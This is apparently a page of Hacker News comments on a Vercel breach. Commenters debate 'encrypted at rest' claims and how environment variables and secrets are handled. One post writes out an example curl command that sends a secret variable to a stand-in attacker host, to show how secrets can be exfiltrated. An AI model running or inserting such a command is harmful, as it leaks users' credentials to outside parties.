Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A Roblox cheat and one AI tool brought down Vercel's platform

webmatrices.com

Post reply on HN
Print view View original

21–30 of 186 posts

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#21

Post by TheDong »

trick-or-treat wrote: post #19
yoaviram wrote: post #12

I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.

I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?

They said "encrypted at rest", which they almost certainly are.

If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.

Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#22

Post by trick-or-treat »

ryanisnan wrote: post #10

Convenience is our Achilles heel, as a society. We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv. We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy. We'll let AI run that thing for us, because it's just too easy. A whole generation has grown up without knowing what it was like to infect your com…

When life gives you AIDS, make lemonAIDS!

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#24

Post by trick-or-treat »

TheDong wrote: post #21
trick-or-treat wrote: post #19

Earlier quoted context omitted.

I think it's clear that some customers env vars got exposed, so that can only mean unencrypted, right?

They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker…

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#26

Post by magackame »

trick-or-treat wrote: post #24
TheDong wrote: post #21

Earlier quoted context omitted.

They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker…

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

It seems only encrypt and throw away the key would be the acceptable strategy

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#27

Post by TheDong »

magackame wrote: post #26
trick-or-treat wrote: post #24

Earlier quoted context omitted.

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

It seems only encrypt and throw away the key would be the acceptable strategy

They need to give your app the environment variables later so they cannot throw away the key.

For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.

Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.

You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#28

Post by bauruine »

trick-or-treat wrote: post #24
TheDong wrote: post #21

Earlier quoted context omitted.

They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker…

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.

What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#29

Post by burnished »

trick-or-treat wrote: post #24
TheDong wrote: post #21

Earlier quoted context omitted.

They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker…

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

There isn't really a way around it.

Re: A Roblox cheat and one AI tool brought down Vercel's platform

#30

Post by jakewins »

trick-or-treat wrote: post #24
TheDong wrote: post #21

Earlier quoted context omitted.

They said "encrypted at rest", which they almost certainly are. If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly. Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker…

Hmm, that's confusing. So they're eventually encrypted but plain-text at some point? Doesn't sound good TBH.

If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.

Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.

A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.

Post reply on HN